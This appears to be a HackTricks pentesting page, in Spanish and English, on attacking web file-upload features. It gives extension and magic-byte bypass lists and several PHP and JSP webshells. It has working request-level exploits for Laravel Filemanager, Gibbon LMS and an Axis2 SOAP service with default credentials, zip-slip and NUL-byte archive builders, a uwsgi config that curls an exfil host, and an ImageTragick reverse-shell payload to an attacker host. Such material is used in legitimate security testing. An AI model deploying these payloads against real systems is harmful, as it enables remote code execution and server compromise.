File Upload
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
File Upload Metodología general
Otras extensiones útiles:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass file extensions checks
- Si aplican, comprueba las extensiones anteriores. También pruébalas usando algunas letras mayúsculas: pHp, .pHP5, .PhAr …
- Revisa añadir una extensión válida antes de la extensión ejecutable (usa las extensiones anteriores también):
- file.png.php
- file.png.Php5
- Intenta añadir caracteres especiales al final. Puedes usar Burp para bruteforce todos los caracteres ascii y Unicode. (Ten en cuenta que también puedes probar a usar las extensiones mencionadas anteriormente)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Intenta eludir las protecciones engañando al parser de extensiones del lado servidor con técnicas como duplicar la extensión o añadir datos basura (bytes null) entre extensiones. También puedes usar las extensiones anteriores para preparar un payload más eficaz.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Añade otra capa de extensiones a la comprobación previa:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Intenta poner la extensión ejecutable antes de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar malas configuraciones de Apache donde cualquier cosa con extensión .php, pero no necesariamente terminando en .php, ejecutará código):
- ex: file.php.png
- Uso de NTFS alternate data stream (ADS) en Windows. En este caso, se insertará un carácter dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un archivo vacío con la extensión prohibida (p. ej. “file.asax:.jpg”). Este archivo podría editarse más tarde usando otras técnicas como su short filename. El patrón “::$data” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también puede ser útil para eludir restricciones adicionales (p. ej. “file.asp::$data.”)
- Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Algunos handlers de subida recortan o normalizan los puntos finales (trailing dot) del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versiones anteriores a 2.9.1, puedes bypass la validación de extensiones mediante:
- Usar un MIME y cabecera mágica de imagen válidos (p. ej., la cabecera de PNG
\x89PNG\r\n\x1a\n). - Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej.,
shell.php.. - El servidor elimina el punto final y persiste
shell.php, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como/storage/files/).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Luego accede a la ruta guardada (típico en Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadatos:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\or you could also introducir el payload directamente en una imagen:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won’t be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
- Github with the code
- The web page cold also be resizing the image, using for example the PHP-GD functions
imagecopyresizedorimagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression. - Github with the code
- Another technique to make a payload that survives an image resizing, using the PHP-GD function
thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression. - Github with the code
Otros trucos para comprobar
- Find a vulnerability to rename the file already uploaded (to change the extension).
- Find a Local File Inclusion vulnerability to execute the backdoor.
- Possible Information disclosure:
- Subir varias veces (y al mismo tiempo) el mismo archivo con el mismo nombre
- Subir un archivo con el nombre de un archivo o carpeta que ya existe
- Subir un archivo con “.” , “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called uploads” in the “/www/” directory.
- Subir un archivo que no se pueda borrar fácilmente como “…:.jpg” en NTFS. (Windows)
- Subir un archivo en Windows con caracteres inválidos como
|<>*?”en su nombre. (Windows) - Subir un archivo en Windows usando nombres reservados (prohibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!
.png)
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
La ejecución del payload ocurre durante el parsing del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un ataque Denial of Service) o el archivo debe configurarse en auto-reload. La función auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
Es crucial entender la naturaleza permisiva del parsing de los archivos de configuración de uWSGI. Específicamente, el payload discutido puede insertarse en un archivo binario (como una imagen o un PDF), ampliando aún más el alcance de la explotación potencial.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Un endpoint no autenticado en Gibbon LMS permite arbitrary file write dentro del web root, lo que conduce a pre-auth RCE al colocar un archivo PHP. Versiones vulnerables: hasta e incluyendo 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](el servidor ignora type/name y decodifica en base64 la parte final)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC para escribir y leer de vuelta un archivo:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Colocar un webshell mínimo y ejecutar commands:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notas:
- El manejador realiza
base64_decode($_POST["img"])después de dividir por;y,, y luego escribe los bytes en$absolutePath . '/' . $_POST['path']sin validar la extensión/tipo. - El código resultante se ejecuta como el usuario del servicio web (por ejemplo, XAMPP Apache on Windows).
Las referencias para este bug incluyen el advisory de usd HeroLab y la entrada de NVD. Véase la sección References más abajo.
wget File Upload/SSRF Trick
En algunas ocasiones puedes encontrar que un servidor está usando wget para descargar archivos y puedes indicar la URL. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una whitelist para asegurar que sólo se descargarán archivos permitidos. Sin embargo, esta comprobación puede ser eludida.
La longitud máxima de un nombre de archivo en linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. Puedes descargar un archivo llamado “A”*232+“.php”+“.gif”, este nombre de archivo eludirá la comprobación (como en este ejemplo “.gif” es una extensión válida) pero wget renombrará el archivo a “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that another option you may be thinking of to bypass this check is to make the HTTP server redirect to a different file, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This won’t work unless wget is being used with the parameter --trust-server-names because wget will download the redirected page with the name of the file indicated in the original URL.
Escapar del directorio de uploads via NTFS junctions (Windows)
(Para este ataque necesitará acceso local a la máquina Windows) Cuando los uploads se almacenan en subcarpetas por usuario en Windows (p. ej., C:\Windows\Tasks\Uploads<id>) y usted controla la creación/eliminación de esa subcarpeta, puede reemplazarla por un directory junction que apunte a una ubicación sensible (p. ej., el webroot). Los uploads subsecuentes se escribirán en la ruta objetivo, permitiendo la ejecución de código si el destino interpreta código del lado del servidor.
Ejemplo de flujo para redirigir uploads al webroot de XAMPP:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notas
- mklink /J crea una NTFS directory junction (reparse point). La cuenta del servidor web debe seguir la junction y tener permiso de escritura en el destino.
- Esto redirige escrituras de archivos arbitrarias; si el destino ejecuta scripts (PHP/ASP), esto se convierte en RCE.
- Defensas: no permitir que las raíces de upload sean controlables por el atacante bajo C:\Windows\Tasks o similar; bloquear la creación de junctions; validar extensiones server‑side; almacenar uploads en un volumen separado o con deny‑execute ACLs.
Carga con body comprimido GZIP + path traversal en destination param → JSP webshell RCE (Tomcat)
Algunos handlers de upload/ingest escriben el body raw de la request en una ruta del filesystem que se construye a partir de query parameters controlados por el usuario. Si el handler también soporta Content-Encoding: gzip y no canonicaliza/valida la destination path, puedes combinar directory traversal con una gzipped payload para escribir bytes arbitrarios en un directorio servido por la web y obtener RCE (p. ej., drop a JSP under Tomcat’s webapps).
Generic exploitation flow:
- Prepara tu server-side payload (p. ej., minimal JSP webshell) y gzip-comprime los bytes.
- Envía un POST donde un path parameter (p. ej., token) contenga traversal que escape la carpeta prevista, y file indique el filename a persistir. Set Content-Type: application/octet-stream y Content-Encoding: gzip; el body es el payload comprimido.
- Navega al archivo escrito para provocar la ejecución.
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
A continuación, activa:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notas
- Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
- La extensión Hackvertor de Burp Suite puede producir un cuerpo gzip correcto a partir de tu payload.
- Este es un patrón puro de pre-auth arbitrary file write → RCE; no depende del multipart parsing.
Mitigaciones
- Deriva los destinos de upload en el servidor; nunca confíes en los fragmentos de path provenientes de los clientes.
- Canonicaliza y aplica que el path resuelto permanezca dentro de un directorio base allow-listed.
- Almacena los uploads en un volumen no ejecutable y deniega la ejecución de scripts desde paths escribibles.
Axis2 SOAP uploadFile traversal to Tomcat webroot (JSP drop)
Axis2-based upload services sometimes expose an uploadFile SOAP action that takes three attacker-controlled fields: jobDirectory (destination directory), archiveName (filename), and dataHandler (base64 file content). If jobDirectory is not canonicalized, you get arbitrary file write via path traversal and can land a JSP in Tomcat’s webapps.
Minimal request outline (default creds often work: admin / trubiquity):
POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
- Bindings suelen ser localhost-only; combínalos con un SSRF de lectura completa (request line con URL absoluta, Host header ignorado) para alcanzar
127.0.0.1si el puerto de Axis2 no está expuesto. - Después de escribir, navega a
/trufusionPortal/jsp/shell.jsp?cmd=idpara ejecutar.
Herramientas
- Upload Bypass es una herramienta poderosa diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de subida de archivos. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificación y explotación de vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
Corromper índices de subida con peculiaridades de snprintf (histórico)
Algunos manejadores de subida legacy que usan snprintf() o similar para construir arrays multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura _FILES. Debido a inconsistencias y truncamiento en el comportamiento de snprintf(), una subida cuidadosamente construida puede aparecer como múltiples archivos indexados en el lado del servidor, confundiendo la lógica que asume una forma estricta (por ejemplo, tratándolo como una subida multi-file y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” resurge ocasionalmente en CTFs y bases de código antiguas.
De la subida de archivos a otras vulnerabilidades
- Set filename to
../../../tmp/lol.pngand try to achieve a path traversal - Set filename to
sleep(10)-- -.jpgand you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>to achieve a XSS - Set filename to
; sleep 10;to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- Comprueba si hay algún size limit al subir archivos
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (desde here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Extensión de Burp
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub
Bytes mágicos de cabecera
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Consulta https://en.wikipedia.org/wiki/List_of_file_signatures para otros tipos de archivo.
Subida de Zip/Tar que se descomprime automáticamente
Si puedes subir un ZIP que se va a descomprimir dentro del servidor, puedes hacer 2 cosas:
Symlink
Sube un archivo que contenga enlaces simbólicos a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Descomprimir en diferentes carpetas
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de las suposiciones iniciales de que esta configuración podría proteger contra la ejecución de comandos a nivel del SO mediante cargas de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes eludir restricciones y escapar de los directorios de subida seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear tales archivos está disponible en evilarc on GitHub. La utilidad puede usarse como se muestra:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Además, la symlink trick with evilarc es una opción. Si el objetivo es apuntar a un archivo como /flag.txt, se debe crear un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación se muestra un ejemplo de código Python usado para crear un archivo zip malicioso:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: Se escribe código PHP para ejecutar comandos pasados a través de la variable
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Se crean múltiples archivos y se arma un archivo zip que contiene esos archivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Los nombres de los archivos dentro del zip se alteran usando vi o un editor hexadecimal, cambiando “xxA” por “../” para recorrer directorios.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
When a backend validates ZIP entries using PHP’s ZipArchive but extraction writes to the filesystem using raw names, you can smuggle a disallowed extension by inserting a NUL (0x00) into the filename fields. ZipArchive treats the entry name as a C‑string and truncates at the first NUL; the filesystem writes the full name, dropping everything after the NUL.
High-level flow:
- Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
- Name it like
shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first.after.phpwith0x00, resulting inshell.php\x00.pdf. - Validators that rely on ZipArchive will “see”
shell.php .pdfand allow it; the extractor writesshell.phpto disk, leading to RCE if the upload folder is executable.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notas
- Cambia AMBAS ocurrencias del nombre de archivo (local y directorio central). Algunas herramientas también añaden una entrada extra de descriptor de datos – ajusta todos los campos de nombre si están presentes.
- El archivo payload aún debe pasar la comprobación de magic/MIME del lado del servidor. Incrustar el PHP en un flujo PDF mantiene el encabezado válido.
- Funciona cuando la ruta de enumeración/validación y la ruta de extracción/escritura discrepan en el manejo de cadenas.
ZIPs apilados/concatenados (desacuerdo del parser)
Concatenar dos archivos ZIP válidos produce un blob en el que distintos parsers se fijan en diferentes registros EOCD. Muchas herramientas localizan el último End Of Central Directory (EOCD), mientras que algunas librerías (p. ej., ZipArchive en flujos de trabajo específicos) pueden analizar el primer archive que encuentran. Si la validación enumera el primer archive y la extracción usa otra herramienta que respeta el último EOCD, un archive benigno puede pasar las comprobaciones mientras se extrae uno malicioso.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Patrón de abuso
- Crea un archivo benigno (tipo permitido, p. ej., un PDF) y un segundo archivo que contenga una extensión bloqueada (p. ej.,
shell.php). - Concaténalos:
cat benign.zip evil.zip > combined.zip. - Si el servidor valida con un parser (ve benign.zip) pero extrae con otro (procesa evil.zip), el archivo bloqueado termina en la ruta de extracción.
ImageTragic
Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick , 7.0.1-1) (desde el exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Incrustar PHP Shell en PNG
Incrustar un PHP shell en el chunk IDAT de un archivo PNG puede eludir eficazmente ciertas operaciones de procesamiento de imágenes. Las funciones imagecopyresized y imagecopyresampled de PHP-GD son particularmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y resamplear imágenes, respectivamente. La capacidad del PHP shell incrustado para permanecer intacto frente a estas operaciones es una ventaja importante en ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se proporciona en el siguiente artículo: “Encoding Web Shells in PNG IDAT chunks”. Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Los polyglot files sirven como una herramienta única en ciberseguridad, actuando como camaleones que pueden existir válidamente en múltiples formatos de archivo simultáneamente. Un ejemplo intrigante es un GIFAR, un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a esta combinación; también son factibles combinaciones como GIF y JS o PPT y JS.
La utilidad principal de los polyglot files radica en su capacidad para eludir medidas de seguridad que filtran archivos según el tipo. La práctica común en varias aplicaciones consiste en permitir solo ciertos tipos de archivo para la subida —como JPEG, GIF o DOC— para mitigar el riesgo que representan formatos potencialmente peligrosos (p. ej., JS, PHP o Phar). Sin embargo, un polyglot, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede pasar desapercibido y evadir estas restricciones.
A pesar de su adaptabilidad, los polyglots enfrentan limitaciones. Por ejemplo, aunque un polyglot pueda encarnar simultáneamente un archivo PHAR (PHp ARchive) y un JPEG, el éxito de su subida puede depender de las políticas de extensión de archivos de la plataforma. Si el sistema es estricto con las extensiones permitidas, la mera dualidad estructural de un polyglot puede no ser suficiente para garantizar su subida.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
Cómo evitar las detecciones de tipo de archivo subiendo un archivo JSON válido aunque no esté permitido, falsificando un archivo PDF (técnicas de this blog post):
mmmagiclibrary: Mientras los bytes mágicos%PDFestén en los primeros 1024 bytes es válido (ver ejemplo en el post)pdfliblibrary: Añadir un formato PDF falso dentro de un field del JSON para que la librería piense que es un pdf (ver ejemplo en el post)filebinary: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON más grande que eso para que no pueda parsear el contenido como json y luego dentro del JSON coloca la parte inicial de un PDF real y pensará que es un PDF
Confusión de Content-Type para lectura arbitraria de archivos
